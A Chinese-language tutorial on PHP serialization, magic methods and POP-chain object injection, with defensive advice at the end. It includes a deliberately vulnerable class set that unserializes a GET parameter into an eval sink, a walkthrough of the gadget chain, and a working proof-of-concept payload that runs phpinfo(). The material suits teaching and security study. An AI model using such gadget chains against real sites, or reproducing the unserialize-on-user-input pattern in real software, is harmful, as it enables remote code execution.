基本定义
序列化 serialize() :
将对象转化为数组或者字符串形式 。
例:
array(
'name' => 'Tom',
'age' => 20,
'city' => 'New York',
);
转换后:a:3:{s:4:"name";s:3:"Tom";s:3:"age";i:20;s:4:"city";s:8:"New York";}
反序列化 unserialize():
将字符串或数组转化成对象格式。
例:
与序列化相反
魔术方法
魔术方法触发的前提:魔术方法所在的类或对象被调用
__construct()
实例化一个对象时,会自动执行__construct()魔术方法
例:
__destruct()
在对象的所有引用被删除或者当对象被销毁时执行
注:__destruct()是在反序列化之后触发
例:
一共触发了两次,第一次触发原因:实例化一个对象后程序结束,对象最终被销毁,从而触发__destruct()。第二次触发原因:反序列化所生成的对象在最后释放时触发了__destruct()
注:序列化和反序列化本身不会触发__destruct()
__sleep()
序列化serialize()函数会先检查类中是否存在__sleep(),如果存在,则会先被调用(删除不必要的属性,只返回需要被序列化的成员属性),然后在执行序列化操作
注:先触发__sleep()魔术方法,然后再执行序列化操作
例:
__wakeup()
反序列化unserialize()函数会先检查类中是否存在__wakeup(),如果存在,则会先被调用,然后在执行反序列化操作
注:先触发__wakeup()魔术方法,然后再执行反序列化操作
例:
__toString()
表达方式错误,即对象当成字符串使用,导致__toString()触发
例:
__call()
当调用不存在的方法时触发
默认有两个参数,$name表示所调用不存在的方法的名称,$arguments表示所调用不存在方法的参数
例:
__callStatic()
当静态调用或者调用成员常量时使用的方法不存在时触发
默认有两个参数,$name表示所调用不存在的方法的名称,$arguments表示所调用不存在方法的参数
例:
__get()
当调用的成员属性不存在时触发
默认有一个参数,$name表示不存在的成员属性名称
例:
__set()
当给不存在的成员属性赋值时触发
默认有两个参数,$name表示不存在的成员属性名称,$value表示给不存在的成员属性所赋的值
例:
__isset()
当对不可访问的属性或者不存在的属性使用isset()或者empty()时触发
默认有一个参数,$name表示不可访问或者不存在的成员属性名称
例:
__unset()
当对不可访问的属性或者不存在的属性使用unset()时触发
默认有一个参数,$name表示不可访问或者不存在的成员属性名称
例:
__invoke()
格式表达式错误,即把对象当成函数使用,导致__invoke()触发
例:
__set_state()
当使用 var_export() 导出一个对象时,如果__set_state()存在则会尝试调用该对象的 __set_state() 方法,并且接收一个数组作为参数,通常用来从数组中重建对象的状态。
注:必须是静态方法
例:
__clone()
当使用clone()拷贝完成一个对象后,新对象会自动调用__clone()
例:
__autoload()
当试图使用尚未被定义的类时,会自动调用__autoload()去查找对应类的文件,如果文件存在则加载,如果不存在则程序终止
注:当php版本大于7.2时,__autoload()被废弃
例:
__debuginfo()
当使用var_dump() 或 print_r()来调试输出时,将调用__debuginfo()方法来获取该对象的调试信息。没有定义该方法时,将默认输出对象的公共属性及其值
例:
POP(PHP Object Injection)
简介
通常与反序列化攻击相关联。指攻击者可以通过序列化的数据中的特定payload来实现未经授权的对象实例化和方法调用,从而可能导致服务器上的任意代码执行
如何分析POP链
我个人总结为三步:
第一:确定终点。你要清楚最后的目的是怎么执行的,比如你最终要获取flag,那么是通过一些文件包含函数包含flag.php还是要通过执行任意命令读取
第二步:回调。确定了通过什么方式执行最后结果,就开始往回看,一步一步找需要执行什么函数触发什么魔术方法,使整个过程顺畅走下来
第三步:确定起点。万恶之源!
例:
<?php
class Tiger{
public $string;
protected $var;
public function __toString(){
return $this->string;
}
public function boss($value){
@eval($value);
}
public function __invoke(){
$this->boss($this->var);
}
}
class Lion{
public $tail;
public function __construct(){
$this->tail = array();
}
public function __get($value){
$function = $this->tail;
return $function();
}
}
class Monkey{
public $head;
public $hand;
public function __construct($here="Zoo"){
$this->head = $here;
echo "Welcome to ".$this->head."<br>";
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Elephant{
public $nose;
public $nice;
public function __construct($nice="nice"){
$this->nice = $nice;
echo $nice;
}
public function __toString(){
return $this->nice->nose;
}
}
if(isset($_GET['zoo'])){
@unserialize($_GET['zoo']);
}
else{
$a = new Monkey;
echo "Hello PHP!";
}
?>
1、最终结果是要执行任意命令,那么很显然只有boss函数中eval可以执行命令、只要能够控制value的值并且成功触发就达到最后目的了。
2、首先,找谁调用了boss函数。下面的__invoke()魔术方法给boss中传入了一个参数var,所以var就是对应所执行命令的值的参数
3、__invoke() [ 对象当成函数使用时触发 ],Lion类中的return $function() 会触发__invoke()。根据魔术方法所在的类或对象被调用时才会触发魔术方法原则,只要使tail指向Tiger对象就可以了
4、__get() [ 当调用的成员属性不存在时触发 ],Elephant类中的return $this->nice->nose 会触发__get()。{ 这里有个小技巧,一般的比赛或者代审如果看到了__get(),直接找两个->的地方,很好用的 }只要使nice指向Lion对象,而Lion类中并没有nose属性
5、__toString() [ 对象当成字符串使用时触发 ],Monkey类中的echo "Welcome to ".$this->head."<br>"; 当$this->head是一个对象,也就是当head指向Elephant对象时会触发__toString魔术方法
6、通常反序列化的起点要么是__wakeup()要么是__destruct(),这里很显然是__wakeup()也就是Monkey类作为起点。__wakeup()里的正则过滤好像没什么用啊,各位大佬我是不是哪分析错了,难绷
总结:从Monkey类中的__wakeup()作为起点,当head指向Elephant对象时会触发Elephant类中的__toString魔术方法;当Elephant类中的nice指向Lion对象会触发Lion类中的__get()魔术方法;当tail指向Tiger对象会触发Tiger类中的__invoke()魔术方法;给var赋个值,从而触发eval。
如何构造payload
我个人总结两点:
第一:无脑删,不管什么先把魔术函数都删了
第二:缺什么补什么,也就是对所分析的属性赋值
最终POC
<?php
class Tiger{
public $string;
protected $var = 'phpinfo();'; //var = phpinfo();
}
class Lion{
public $tail; //tail = Tiger
}
class Monkey{
public $head; //head = Elephant
public $hand;
}
class Elephant{
public $nose;
public $nice; //$nice = Lion
}
$tiger = new Tiger();
$lion = new Lion();
$monkey = new Monkey();
$elephant = new Elephant();
$lion->tail = $tiger;
$monkey->head = $elephant;
$elephant->nice = $lion;
echo urlencode(serialize($monkey));
?>
结果:
O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D
成功回显phpinfo
反序列化漏洞
原理
反序列化漏洞的核心在于恶意用户能够通过操纵序列化数据来执行未授权的操作或注入恶意代码。
具体实现原理如下:
1、序列化和反序列化:在应用程序中,对象和数据结构经常需要在不同的环境中传输或存储。序列化是将对象转换为可传输或存储的格式(如字符串),而反序列化则是将这些数据重新转换为对象或数据结构。
2、数据的不可信来源:如果应用程序接受并处理来自不可信来源(如网络请求、用户输入等)的序列化数据,攻击者可以构造恶意的序列化数据。
3、执行恶意代码:恶意序列化数据可以包含触发特定方法(如 __wakeup() 或 __destruct())的指令,这些方法可以执行攻击者精心设计的恶意代码,例如在服务器上执行任意命令或访问敏感数据。
防御
验证和过滤输入数据;
最小化反序列化操作;
限制数据来源:只从可信任的来源接受序列化数据,例如内部网络或已知的数据提供者。
仅在必要时反序列化:尽可能避免不必要的反序列化操作,考虑使用更简单和安全的数据格式替代。
验证数据的完整性:使用数字签名或哈希来验证序列化数据是否被篡改等
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)